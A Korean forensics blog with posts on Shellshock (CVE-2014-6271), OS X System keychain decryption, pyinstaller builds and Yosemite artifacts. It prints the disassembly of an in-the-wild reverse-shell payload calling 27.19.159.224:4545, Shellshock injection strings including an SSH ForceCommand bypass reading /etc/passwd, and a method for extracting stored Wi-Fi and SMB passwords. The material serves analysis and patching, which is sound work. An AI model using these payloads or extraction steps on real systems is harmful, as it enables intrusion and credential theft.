n0fate Forensic Lab any security stuff

CVE-2014-6271 linux zero-day attack

취약점이 발표되고 하루 뒤, 리눅스 시스템을 대상으로 0day 공격이 시작되었다. 공격자는 HTTP 헤더 중 'User-Agents' 에 취약점을 삽입하여 다 수의 서버를 대상으로 공격을 수행하였다. 다음은 HTTP 요청 패킷 중 공격 코드만 잘라낸 것이다.

003

위 내용은 다음과 같은 명령을 수행한다.

  1. wget으로 www.0rz.it의 fu4k 바이너리를 /tmp/fu4k 로 저장한다. 현재 저 주소는 막혀있다.
  2. chmod로 저장한 악성코드에 실행 권한을 준다.
  3. 저장한 악성코드를 실행한다.

이 악성코드는 152바이트 크기를 가지는 매우 작은 바이너리로 코드를 분석해보면, 리버스 쉘을 제공하는 프로그램이다.

LOAD:08048000 ; Input MD5 : 2485040231A35B7A465361FAF92A512D
LOAD:08048000 ; Input CRC32 : 1F643AE0
LOAD:08048000
LOAD:08048000 ; File Name : /Users/n0fate/Dropbox/malware/Shellshock/fu4k/2485040231a35b7a465361faf92a512d
LOAD:08048000 ; Format : ELF for Intel 386 (Executable)
LOAD:08048000 ; Imagebase : 8048000
LOAD:08048000 ;
LOAD:08048000
LOAD:08048000 .686p
LOAD:08048000 .mmx
LOAD:08048000 .model flat
LOAD:08048000 .intel_syntax noprefix
LOAD:08048000
LOAD:08048000 ; ===========================================================================
LOAD:08048000
LOAD:08048000 ; Segment type: Pure code
LOAD:08048000 ; Segment permissions: Read/Write/Execute
LOAD:08048000 LOAD segment mempage public 'CODE' use32
LOAD:08048000 assume cs:LOAD
LOAD:08048000 ;org 8048000h
LOAD:08048000 assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing
LOAD:08048000 dword_8048000 dd 464C457Fh, 10101h, 2 dup(0) ; DATA XREF: LOAD:0804803Co
LOAD:08048000 ; LOAD:08048040o
LOAD:08048010 dd 30002h, 1, 8048054h, 34h, 2 dup(0)
LOAD:08048028 dd 200034h, 1, 0
LOAD:08048034 dd 1, 0
LOAD:0804803C dd offset dword_8048000
LOAD:08048040 dd offset dword_8048000
LOAD:08048044 dd 98h, 0DCh, 7, 1000h
LOAD:08048054 ; ---------------------------------------------------------------------------
LOAD:08048054
LOAD:08048054 public start
LOAD:08048054 start:
LOAD:08048054 xor ebx, ebx
LOAD:08048056 mul ebx
LOAD:08048058 push ebx ; IPPROTO_IP
LOAD:08048059 inc ebx
LOAD:0804805A push ebx ; SOCK_STREAM
LOAD:0804805B push PF_INET ; https://github.com/xiam/harmful-stuff/blob/master/bind/bind-linux-x86.asm
LOAD:0804805D mov ecx, esp ; ecx*->stack_arguments
LOAD:0804805F mov al, 102 ; socketcall
LOAD:08048061 int 80h ; LINUX -
LOAD:08048063 xchg eax, ebx ; ebx = save socket file description
LOAD:08048064 pop ecx ; ecx = 2
LOAD:08048065
LOAD:08048065 connect: ; CODE XREF: LOAD:0804806Aj
LOAD:08048065 mov al, 63 ; dup2(socket, stderr/out/in)
LOAD:08048067 int 80h ; LINUX -
LOAD:08048069 dec ecx ; stderr, stdout, stdin (2,1,0)
LOAD:0804806A jns short connect ; connect to stdin/out/err description
LOAD:0804806C push 0E09F131Bh ; IP : 27.19.159.224
LOAD:08048071 push 0C1110002h ; Port : 0x11C1(4545)
LOAD:08048071 ; AF_INET : 0x0002
LOAD:08048076 mov ecx, esp ; server sockstruct
LOAD:08048078 mov al, 102 ; socketcall
LOAD:0804807A push eax ; 102 -> sizeof socket structure
LOAD:0804807B push ecx ; server struct pointer
LOAD:0804807C push ebx ; socket file descriptor
LOAD:0804807D mov bl, 3 ; _connect()
LOAD:0804807D ; connect(socket, [AF_INET, 4545, 27.19.159.224, 102])
LOAD:0804807F mov ecx, esp ; ecx -> argument array
LOAD:08048081 int 80h ; LINUX -
LOAD:08048083 push edx ; null
LOAD:08048084 push 'hs//'
LOAD:08048089 push 'nib/'
LOAD:0804808E mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp
LOAD:08048090 push edx ; NULL
LOAD:08048091 push ebx ; '/bin/sh'
LOAD:08048092 mov ecx, esp ; Pointer of {'/bin/sh, NULL}
LOAD:08048094 mov al, 11 ; execve
LOAD:08048094 ; execve('/bin//sh', ['/bin//sh', NULL]);
LOAD:08048096 int 80h ; LINUX -
LOAD:08048096 ; ---------------------------------------------------------------------------
LOAD:08048098 dd 11h dup(?) ; It's reverse shell
LOAD:08048098 LOAD ends ; http://www.backtrack-linux.org/forums/archive/index.php/t-51108.html
LOAD:08048098 ; ######################################################
LOAD:08048098 ; pseudo code:
LOAD:08048098 end start ;
LOAD:08048098 ; int i = 2
LOAD:08048098 ; int s = socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
LOAD:08048098 ; int iRet = 0
LOAD:08048098 ; while iRet != 0:
LOAD:08048098 ; dup2(s, i)
LOAD:08048098 ; i -= 1
LOAD:08048098 ;
LOAD:08048098 ; connect(s, [AF_INET, 4545, '27.19.159.224', 102])
LOAD:08048098 ; execve('/bin//sh', ['bin//sh', NULL], [NULL])
LOAD:08048098 ; ######################################################

공격자는 소켓을 stdin, stdout, stderr와 연결시키고 27.19.159.224:4545 에 연결을 시도한다. 이 서버는 중국에 있는 후한시에 있는 것으로 나타나 있다.

004

 

Reference

Malware Must Die!, Linux ELF bash 0day: The fun has only just begun..., http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html

CVE-2014-6271 - ShellShock Remote Code Execution Vulnerability

9월 24일, bash 의 제로데이 취약점이 공개 되었다. 원래 포스팅할 생각은 없었으나 OS X에도 이 취약점이 발현 가능하기도하고 나름 재밌겠다 싶어서 포스팅하였다. 일단 이 취약점은 CVSS(Common Vulnerability Scoreing System)에서 10점을 받은만큼 위험도가 상당히 높은 취약점이다.

I. 진단 방법

현재 OS X 시스템에서 테스팅하려면, 터미널(Terminal) 프로그램을 실행해주고, 다음 명령어를 입력해주면 된다.

```bash $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
```

여기에서 vulnerable 이라는 메시지가 보이면 해당 OS X는 이 취약점을 가지고 있다고 볼 수 있다. 이 취약점은 bash의 환경변수에 함수를 정의하고 뒤에 원하는 명령어를 작성하면 새로운 bash 프로세스가 실행될 때 환경 변수를 임포트(import)하면서 뒤의 명령어를 실행하게되는 취약점이다. 만약 패치가 된 시스템이면 다음과 같은 결과를 보여준다.

```bash $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
```bash

 

II. 공격 방법

1. 취약점 발현 시나리오

현재 MITRE의 CVE(Common Vulnerabilities and Exposures) 에 따르면 이 취약점 발현 시나리오는 다음과 같다.

  • OpenSSH의 sshd의 ForceCommand 기능을 우회하는데 사용할 수 있다. ForceCommand는 ssh로 접근하는 사용자가 제한된 명령어만 실행하도록 만든다. 하지만 이 취약점으로 허가되지 않은 명령을 실행할 수 있다. ForceCommand를 사용하더라도 사용자 계정을 알아야 하므로 제한적인 상황에서 사용 가능하다.
  • 아파치 웹 서버가 mod_cgi, mod_cgid 모듈을 사용하는 경우, CGI 스크립트를 이용하여 bash 명령어를 실행하거나, 서브쉘(subshell)을 띄울 수 있다. C, Python, Perl로 구현된 CGI의 경우에도 시스템 명령어를 사용하는 경우(system, open) 공격이 가능하다. 물론 최근에 CGI로 개발되는 사이트가 거의 없긴 하지만 말이다.
  • DHCP 클라이언트가 악의적인 DHCP 서버로부터 획득한 값을 쉘 스크립트로 실행할 수 있다. 이 명령어는 루트 권한으로 실행된다. [링크](https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/)
  • 그 외에 권한을 가지는 데몬에서 쉘 스크립트를 실행할 수 있는 경우 이 취약점을 이용하여 데몬의 권한으로 임의의 명령을 실행할 수 있다.

bash 명령어가 실행 가능한 모든 서비스에서 악용이 가능한만큼 위험도가 높다고 볼 수 있다. CVSS가 괜히 10점이 아닌 것이다.. :-)

2. 현재 공개된 익스플로잇 코드

현재 테스트 코드가 아닌 공격 목적의 코드는 다음과 같다. (사실 테스트 코드도 뒤에 명령어만 조금 바꿔주면 바로 공격이 가능하다.)

Bash Specially-created Environment Variables Code Injection Vulnerability (OS X 10.9.4 ~5 with Apache 2.2.26) [Link]

3. 테스트

웹서버 구동으로 테스트한 사례는 다음과 같다.

- Hacksum, [CVE-2014-6271] GNU Bash 원격코드 인젝션 취약점

본래 웹서비스를 대상으로 진행하려 했으나, 이미 위와 같은 테스트 결과가 있어서, ssh의 ForceCommand 우회 취약점을 테스트하였다. 공격 대상 서버는 다음과 같다.

  • OS X 10.9.5 Mavericks (최신 버전) - bash 3.2.51(1)
  • 원격 로그인(Remote Login) 활성화  - ssh, sftp
  • ForceCommand 활성화

SSH는 ForceCommand가 설정되어 있지 않으면, 쉘 명령어를 자유롭게 사용할 수 있으므로 취약점으로 보기 어렵다. 하지만  ForceCommand를 설정한 경우에는 취약점이 될 수 있다. ForceCommand는 사용자가 SSH로 접속 시 해당 옵션에 설정한 명령어만 수행하고 종료되도록 처리하는 옵션이다. 보통은 이 옵션을 활성화 시키지 않으나, 다음과 같은 경우 사용된다.

  • 사용자 로그인 시 특정 스크립트를 실행
  • 특정 명령어(rsync 등)를 주기적으로 수행하는 목적
  • 중간에 프록시 SSH 서버를 두고 접속 시 다른 서버로 제어를 옮기도록 처리

우선 공격 대상 서버는 다음과 같이 설정(sshd_config)하였다.

```bash # Example of overriding settings on a per-user basis
Match User victim
X11Forwarding no
AllowTcpForwarding no
ForceCommand ls
```

위와 같이 설정하면 클라이언트가 접속 시, ls 명령어 결과만 출력하고 종료된다.

```bash n0fates-Mac-mini:~ n0fate$ ssh [email protected]
Desktop Downloads Movies Pictures
Documents Library Music Public
Connection to 172.16.237.128 closed.
```

클라이언트 접속 시 뒤에 인자를 붙이더라도 ls의 인자로 붙어 처리되므로 원하는 명령어를 수행하지 못하고 종료된다. 세미콜론을 사용하더라도 클라이언트의 bash에서 핸들링하므로 올바른 처리가 안된다.

```bash $ ssh [email protected] ; /usr/bin/id
Desktop Downloads Movies Pictures
Documents Library Music Public
Connection to 172.16.237.128 closed.
uid=501(n0fate) gid=20(staff) groups=20(staff),….
$

```bash $ ssh [email protected] "; /usr/bin/id"
Desktop Downloads Movies Pictures
Documents Library Music Public
Connection to 172.16.237.128 closed.
$
```

하지만, 이번 취약점의 경우에는 환경 변수에 값을 넣으면서 생기는 취약점이기 때문에 SSH의 설정을 무시하고 명령어가 실행된다. 이번 취약점을 이용하여 코드를 작성하면 다음과 같은 결과를 확인할 수 있다.

```bash $ ssh [email protected] '() { :;}; /bin/cat /etc/passwd'
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
...
```

ssh는 접속 시점에 받은 사용자 인자를 '$SSH_ORIGINAL_COMMAND’라는 환경 변수에 저장한다. 문제는 이 환경 변수가 bash 쉘의 환경 변수로 저장된다는 점이다. 위의 경우에는 다음과 같이 표현된다.

``` $SSH_ORIGINAL_COMMAND='() { :;};  /bin/cat /etc/passwd'
```

즉, ForceCommand로 명령어 수행을 제한하더라도 공격자는 원하는 명령을 자유롭게 사용할 수 있다.

III. 패치 방법

OS X 사용자는 크게 2가지 방법으로 패치를 진행할 수 있다. 패치 방법은 stackexchange에 좋은 답변이 있어서 그대로 번역하였다. [Link](http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271-and-cve-2014-7)

1. 시스템 바이너리를 빌드하여 업데이트 하는 방법

homebrew나 macport와 같은 repository를 사용하지 않는 경우 적용 가능한 방법으로 최신 bash를 다운로드하여 xcode로 빌드하는 방법이다. 애플 오픈소스 사이트에서 bash 소스 코드를 다운로드받고, 여기에 gnu에 올라온 bash 패치를 적용하여 빌드한다. 그리고 bash와 sh를 교체한다.

``` $ mkdir bash-fix
$ cd bash-fix
$ curl https://opensource.apple.com/tarballs/bash/bash-92.tar.gz | tar zxf -
$ cd bash-92/bash-3.2
$ curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 | patch -p0
$ cd ..
$ xcodebuild
$ sudo cp /bin/bash /bin/bash.old
$ sudo cp /bin/sh /bin/sh.old
$ build/Release/bash --version # GNU bash, version 3.2.52(1)-release
$ build/Release/sh --version # GNU bash, version 3.2.52(1)-release
$ sudo cp build/Release/bash /bin
$ sudo cp build/Release/sh /bin
```

마지막으로 기존 bash 명령어에 실행 권한을 제거한다.

[code language="bash"]
$ sudo chmod a-x /bin/bash.old /bin/sh.old
[/code]

2. Homebrew 활용하기

Homebrew에는 이 취약점이 패치된 bash가 등록되어 있다. 간단하게 두 명령어로 패치를 진행할 수 있다.

[code language="bash"]
$ brew update
$ brew upgrade bash
[/code]

IV. 패치의 한계

위에서 설명한 첫 번째 방법(GNU에서 받아 패치)이 적용된 bash는 여전히 취약점(CVE-2014-7169)을 가지고 있다. 이 취약점은 다음과 같은 명령어로 테스트해 볼 수 있다.

[code language="bash"]
$ env X='() { (a)=>' sh -c "echo date"; cat echo
sh: X: line 1: syntax error near unexpected token `='
sh: X: line 1: `'
sh: error importing function definition for `X'
Fri Sep 26 08:05:17 KST 2014
$
[/code]

위와 같이 에러가 발생하면서 날짜가 표시되면 해당 취약점을 보유하고 있는 것이다. 현재 이 문제를 해결한 비공식 패치로 문제를 해결해야 한다. 단 이 패치에도 새로운 취약점은 발견될 수 있다. :)

2014-09-28

26일자로 올라온 bash32-053  패치로 문제가 해결되었다. 다음 링크의 순서대로 패치를 진행하면 두 취약점을 해결할 수 있다.

http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-shellshock-the-remote-exploit-cve-2014-6271-an

 

V. 참고 자료

CVE, CVE-2014-6271, http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
Red Hat Security, Bash specially-created environment variables code injection attack, https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

 

Featured Image by DeviantArt : http://fc09.deviantart.net/fs71/i/2013/024/c/d/broken_shell_by_cocobijou-d36eqmg.jpg[/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]

System Keychain Analysis (Extracting confidential information of Wi-Fi and SMB on OS X)

[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][fusion_accordion class="" id=""]
[fusion_toggle title="English Version" open="no"]

Introduction

Keychain system on OS X manage confidential information. OS X Keychain system manage default three keychain files. System keychain(/Library/Keychain/System.keychain) has stored confidential information for OS Security(e.g. certificates signed Apple root certificate, Wi-Fi SSID and key). Each user has user keychain(login.keychain) that stores application authentication(ID and password), En/Decryption Key(e.g. iMessage, iCloud, Filevault2), Session Key(Facebook, Twitter) and so on. After OS X Mavericks, iCloud Keychain is added on OS X for synchronization with iOS and OS X. It holds several information on iOS(e.g. Wi-Fi SSID and key, Accounts on contacts, calendars, apple mail, safari).

Prior mentioned, OS X memory forensic tool, volafox, can dump master key on user keychain. So in this post, I explain decryption process of System keychain.
Aforementioned system keychain store confidential information for OS management
OS requires certificates of Kerberos, apple system, software signature for Security, Wi-Fi SSID/password for Airport(apple network device) and ID/password on file server for continuously services. Especially, Wi-Fi confidential information is very nice artifacts because investigator helpfully determines first connection time and lastly key modification time on wireless AP. These will be connected with user activity.

Extracting the master key of system keychain

System keychain is stored on “/Library/Keychain/System.Keychain”. It has same structure with user keychain. So, you can dump confidential information with Chainbreaker. Decryption process of Chainbreaker explains this paper : Keychain Analysis with Mac OS X Memory Forensics
The master key of system keychain is stored on "SystemKey" file in the “/private/var/db” (Apple says, SystemKey file is kSystemUnlockFile). The "SystemKey" is UnlockBlob file format.

Common Blob

magicNumber(4bytes) : Signature of common blob structure(0xFADE0711)
Current Version (4bytes) : keychain version. default value is 0x00(version_MacOS_10_0)

UnlockBlob


Master Key(24bytes) : The master key is a 24byte DES key(192bits)
Signature (16bytes) : Signature for checking correct DB key with the master key

The master key stored it is not encrypted. Now you can easily decrypt system keychain using this.

System keychain decryption using Chainbreaker

GUI version of Chainbreaker can decrypt system keychain according to the below procedures.
- Load a system keychain file
- checking a checkbox said 'Is a Master Key'
- Write hex-code on Editbox said 'Key' and click 'Analysis' button.

The result of analysis is following:

Table of generic password stores SSID, key, Create time, last modification time on wireless AP. Table of internet password stores server account, password, mounted volume path on Samba.

You can dump decrypted confidential information on system keychain using chainbreaker console version as following:

$ python chainbreaker.py -i ~/System.keychain -k xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 [-] DB Key
[..SNIP..]
[+] Symmetric Key Table: 0x000064f4
[+] Generic Password Record
 [-] RecordSize : 0x000000e4
 [-] Record Number : 0x00000000
 [-] SECURE_STORAGE_GROUP(SSGP) Area : 0x0000002c
 [-] Create DateTime: 20140816021533Z
 [-] Last Modified DateTime: 20140816021533Z
 [-] Description : AirPort network password
 [-] Creator :
 [-] Type :
 [-] PrintName : [BLANK]
 [-] Alias :
 [-] Account : [BLANK]
 [-] Service : AirPort
 [-] Password
00000000:  xx xx xx xx xx xx xx  xx                       xxxxxxxx

 

Conclusion

The user keychain stores application confidential information, keys and certificates on each user. So, investigator can't acquire wifi SSID/key, mounted volume password and so on related OS management. If you are using this analysis method to extract it, you will get these on disk image only. You can analyze user activity or access other system with id/password on file sharing services.

 

Reference : https://github.com/andrewdotn/chainbreaker/commit/b07b6840ed4013264199df7ef5a35282b591f5a1
[/fusion_toggle]

[fusion_toggle title="Korean Version" open="yes"]

소개

OS X의 키체인 시스템은 시스템 운영에 필요한 기밀 정보를 저장하는 시스템 키체인(System.keychain)과 각 사용자 관련 기밀 정보 및 애플리케이션의 기밀 정보를 저장하는 유저 키체인(login.keychain)으로 분류할 수 있다. OS X 매버릭스부터는 아이폰의 키체인 정보와 연동하는 아이클라우드 키체인(keychain-db2.db)이 추가되면서 아이폰에 저장된 무선 네트워크 정보, 메일, 연락처, 일정, 사파리에서 저장한 계정 정보를 공유할 수 있게 되었다. 이 외에도 시스템의 루트 인증서 정보를 저장하는 키체인도 있다.

기존 페이퍼를 통해 설명한 키체인의 마스터키 추출 방법은 사용자 키체인의 마스터키를 추출하는 방법이였다. 이번에는 시스템 키체인의 마스터 키를 통해 시스템 키체인을 복호화하는 방법을 알아보겠다.

시스템 키체인은 운영체제에 의해 사용되는 영역으로 커버로스, 애플 시스템 인증서, 소프트웨어 서명 인증서와 같은 운영체제 보안을 위한 것 외에도 사용자가 저장한 파일 공유 서버의 계정 및 패스워드 정보, OS X의 무선 장치인 AirPort에서 사용하기 위한 무선 네트워크의 SSID와 비밀번호를 보관한다. 특히 무선 네트워크 정보의 경우에는 사용자가 SSID를 등록한 시간, 마지막 비밀번호 변경 시간을 파악할 수 있으므로, 사용자의 맥 사용정보와 이동경로 유추에 도움이될 수 있다.

시스템 키체인 마스터키 추출

시스템 키체인은 “/Library/Keychain”에 있다. 데이터 관리 방법은 사용자 키체인 관리 방법과 동일하므로, 시스템 키체인의 마스터 키만 알아내면 동일한 방법으로 분석할 수 있다.
시스템 키체인의 마스터키는 “/private/var/db”에 “SystemKey”(kSystemUnlockFile) 파일에 보관되어 있다. 이 파일의 구조 Common Blob + UnlockBlob의 형태를 가진다.

Common Blob

magicNumber(4bytes) : 0xFADE0711
Current Version (4bytes) : 키체인 버전 정보. 기본 값인 0x00(version_MacOS_10_0)

UnlockBlob


Master Key(24bytes) : 192비트의 마스터 키
Signature (16bytes) : DB키에 맞는 마스터 키인지 확인하기 위한 Signature

여기에서 마스터 키를 추출하면 기존 체인브레이커로 분석할 수 있다.

체인 브레이커에서 확인

현재 개발 중인 체인브레이커에서는 ‘Is a Master Key?’에 체크하고 Master Key의 24바이트 헥사코드를 넣어주면 분석할 수 있다. 분석 결과는 다음과 같다.

Generic Password에는 각 무선 AP에 연결했던 SSID가 저장되어 있으며, 생성 날짜와 최종 수정 시간을 통해 무선 AP 최초 연결 시점과 패스워드 변경 시점을 파악할 수 있다.
Internet Password에는 SMB로 연결했던 서버의 계정 및 패스워드 정보, 마운트한 볼륨 정보를 확인할 수 있다.

체인브레이커 콘솔 버전에서는 다음과 같이 확인할 수 있다.

$ python chainbreaker.py -i ~/System.keychain -k xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 [-] DB Key
[..SNIP..]
[+] Symmetric Key Table: 0x000064f4
[+] Generic Password Record
 [-] RecordSize : 0x000000e4
 [-] Record Number : 0x00000000
 [-] SECURE_STORAGE_GROUP(SSGP) Area : 0x0000002c
 [-] Create DateTime: 20140816021533Z
 [-] Last Modified DateTime: 20140816021533Z
 [-] Description : AirPort network password
 [-] Creator :
 [-] Type :
 [-] PrintName : [BLANK]
 [-] Alias :
 [-] Account : [BLANK]
 [-] Service : AirPort
 [-] Password
00000000:  xx xx xx xx xx xx xx  xx                       xxxxxxxx

 

결론

사용자 키체인에는 사용자 애플리케이션 등 특정 사용자에게 국한된 기밀 정보를 추출하는데 도움을 받을 수 있다. 하지만, 무선 연결 정보나 마운트된 볼륨 정보 등, 운영체제 자체적으로 사용하는 정보를 추출할 수 없는 문제점을 가지고 있었다. 이 분석 방법을 사용하면, 분석가는 시스템에 남겨진 무선 AP와 원격 서버 연결 계정 정보를 추출함으로 행위 분석이나 추가적인 시스템 접근이 용이해지게 된다. 본 분석이 여러 보안인에게 도움이 되길 바란다.

 

Reference : https://github.com/andrewdotn/chainbreaker/commit/b07b6840ed4013264199df7ef5a35282b591f5a1
[/fusion_toggle]
[/fusion_accordion][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]

python 스크립트를 exe로 빌드하기

파이썬으로 프로그램을 만들다보면 효율적인 사용을 위해 바이너리 형태로 빌드해야하는 경우가 생긴다. 보통 윈도우의 경우에는 py2exe를 사용하고 맥은 py2app을 사용하곤 한다. 요번에 Qt 4기반의 chainbreaker 도구를 개발하면서 바이너리로 빌드하면서 py2exe를 사용했는데 에러가 발생하여 pyinstaller를 사용해보았다.

pyinstaller의 경우 현재 안정 버전은 2.1이다. 단, 이 버전은 단일 파일을 생성해주는 --onefile 옵션을 줄 경우, 프로그램 실행 시점에 에러가 발생하는 버그가 있으므로, 개발자 버전을 이용하도록 한다. 홈페이지에 가보면, Development 란에 있는 코드를 다운로드 한다.

프로그램은 간단하게 ‘python setup.py install’로 설치할 수 있다. pyinstaller를 사용하려면 하나의 플러그인이 더 필요한데 ‘pywin32’이다. 이 프로그램은 "http://sourceforge.net/projects/pywin32/files/pywin32/“에서 파이썬 버전에 맞게 다운로드할 수 있다.
pywin32를 설치하면, 이제 프로그램 빌드 준비가 완료된 것이다. Pyinstaller는 경로에 한글이 있을 경우 에러가 발생하므로, 영문 디렉터리나 ‘C:’와 같은 루트 디렉터리에서 작업하는 것을 권장한다. Chainbreaker의 경우에는 다음과 같은 명령어로 실행하였다.

python pyinstaller.py --onefile --noconsole --icon=C:chainbreakerimagesicon.ico C:chainbreakerchainbreakergui.py

빌드하면 pyinstaller 디렉터리에 파이썬 파일명(위의 경우 chainbreakergui)로 디렉터리에 생성된다. 해당 디렉터리에 내의 ‘dist’폴더를 가면 실행파일을 확인할 수 있다.

이제 exe 파일을 실행하면 된다 :)

OS X Yosemite(10.10) Forensic Artifacts

Last updated dates : Sep 11, 2014
[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][fusion_accordion class="" id=""]
[fusion_toggle title="English Version" open="no"]

Introduction

The new version of OS X, Yosemite (version 10), focus on refreshed design with deeper iOS8 integration. In this post, we are watching new features on Yosemite and learn more about where can we find these artifacts on it. All tests are based on Yosemite Developer Preview 7. First of all, features of Yosemite as following:

  • iCloud Drive : You can read/write various file on iCloud as Dropbox.
  • Hand-off : Due to the integration between iOS and OS X, you can be continuously working iOS to OS X or otherwise.
  • Phone Call and SMS/MMS message : If you have iPhone, you can send and receive SMS message and phone call right on your Mac. Now you can make and receive iPhone call on your Mac

So, from now on we find new artifacts in OS X Yosemite.

 

Analysis

Call History

Because OS X is integration with iOS, related information with phone call is stored on OS X if call history and so on. The call history of OS X is stored as below:

"~/Library/Application Support/CallHistoryDB/CallHistory.storedata"

But, FaceTime on OS X doesn't used it at analysis point. It seems to software bug or develop a related code yet I guess. The important artifacts on it as following:

  • ZCALLRECORD table : It has several information of relevant call history. For example, phone reception(ZANSEWRED), contacts Type(FaceTime, voice or video call, etc), timestamps of Incoming/Outgoing call(ZDATE), call duration(ZDURATION), device identifier(ZDEVICE_ID), contacts name(ZNAME), contacts number(ZADDRESS) and so on
  • Z_METADATA : management of metadata such as registered device information.

SMS messages

SMS message, feature of Yosemite, is used on Messages Application(Messages.app)

SMS messages is stored on artifacts of 'Messages' application on Mavericks. The database file path of 'Messages' is below:

"~/Library/Messages/chat.db"

We can show records of 'SMS' type on database. The next figure show 'SMS' record on it using walitean.

If element in the 'service' column of 'message' table is equal to 'SMS', records are incoming or outgoing SMS.

 

Notes

New artifacts described above are used to SQLite of WAL(Write-Ahead Logging) enabled. General SQLite database browser doesn't show journaling data such as deleted record since working time. So you need to analyze the time for WAL. I recommend the following posts.

  • SQLite WAL (Write-Ahead Logging) - http://forensic.n0fate.com/?p=1077
  • THE FORENSIC IMPLICATIONS OF SQLITE’S WRITE AHEAD LOG - http://www.cclgroupltd.com/the-forensic-implications-of-sqlites-write-ahead-log/

[/fusion_toggle]
[fusion_toggle title="Korean Version" open="yes"]

소개

OS X의 새로운 버전인 요세미티(10.10)은 iOS와 OS X간의 통합과 전체적인 디자인 변화에 초점을 두었다. 이번 운영체제는 더 많은 iOS 사용자가 애플 제품을 사용하도록 유도하기 위한 애플의 포석으로 보인다. 이번 포스팅에서는 요세미티 중 포렌식적으로 유용한 아티팩트를 살펴보고, 이 중 몇가지 아티팩트를 어디에서 찾을 수 있는지 정리하였다. 본 내용은 요세미티 최신 버전인 DP7(Developer Preview 7)을 기준으로 작성되었다. 요세미티에는 여러가지 기능이 추가되었지만 이 중 포렌식적으로 유용한 기능은 다음과 같다.

  • 아이클라우드 드라이브 : 아이클라우드를 드롭박스처럼 사용할 수 있다.
  • 핸드오프(Hand-off) : 아이폰에서 하는 작업을 맥에서 이어하거나 맥에서하던 작업을 아이폰에서 연속적으로할 수 있다.
  • iOS 연동성 : SMS와 전화기능을 맥에서도 사용할 수 있다. iMessage를 이용하여 문자 메시지를 발송할 수 있으며, 아이폰으로 전화가 오는 경우 맥에서도 함께 표시되어 맥에서 전화를 받을 수 있다. 또한 OS X에서 Facetime 애플리케이션을 이용하여 아이폰을 통한 전화걸기도 가능하다.

이번 포스팅에서는 이 중 iOS 연동 아티팩트가 어디에 저장되는지 확인하였다.

 

분석

통화기록

iOS와 맥의 통화 기능이 연동된다면, 이와 관련된 정보가 시스템에 보존될 수 있다. 전화 기록 중 가장 유용한 기능은 최근 통화 목록이다. OS X는 이러한 통화 기록을 위해 "~/Library/Application Support/CallHistoryDB/CallHistory.storedata” 파일을 관리한다. 하지만 이 데이터베이스를 실제로 사용하지 않으며, FaceTime 애플리케이션도 최근 연락 기록을 유지하지 않는다. 현재 버전(DP7)에서 아직 해당 기능을 구현하지 못한 것으로 생각된다. 데이터베이스 테이블 정보는 다음과 같이 유추된다.

  • ZCALLDBPROPERTIES : 데이터베이스에 저장할 속성정보를 보관한다.
  • ZCALLRECORD : 실제 연락처 기록이 저장되는 공간으로 판단된다. 가장 중요한 정보로 전화 수신 여부(ZANSWERED), 연락처 종류(FactTime 음성/영상, 3g 전화), 날짜(ZDATE), 통화 시간(ZDURATION), 장치 식별자(ZDEVICE_ID), 연락한 사람 이름(ZNAME), 연락처(ZADDRESS) 정보가 기록될 것으로 보인다.
  • Z_METADATA : 등록한 디바이스 정보 등 메타데이터 정보 유지에 사용된다.
  • Z_PRIMARYKEY : 데이터베이스의 키를 관리하기 위한 테이블이다.

이 파일을 분석하면, 아이폰의 통화 내역을 추출하지 못하는 상황에서도 정보를 수집할 수 있다.

 

문자 메시지

요세미티의 문자 메시지 기능은 아이메시지에서 사용할 수 있다.

SMS 정보는 아이메시지 데이터베이스에 새로운 타입을 추가하는 형태로 저장된다. 즉, 기존 아이메시지 분석 방법을 그대로 적용하면 된다. 기존에 아이메시지 데이터베이스는 "~/Library/Messages/chat.db" 에 저장되어 있다. 이 데이터베이스에는 아이메시지 정보 뿐만 아니라, SMS 메시지 내역도 포함되어 있다. 다음은 walitean을 사용하여 채팅 데이터베이스의 테이블 정보를 확인한 것이다.

위 그림과 같이 테이블에 정보를 표시하고 기존 아이메시지와 데이터를 똑같이 처리한다. 기존 아이메시지와 동일한 방법으로 분석하면 되므로 크게 정리할 내용은 없다.

유의사항

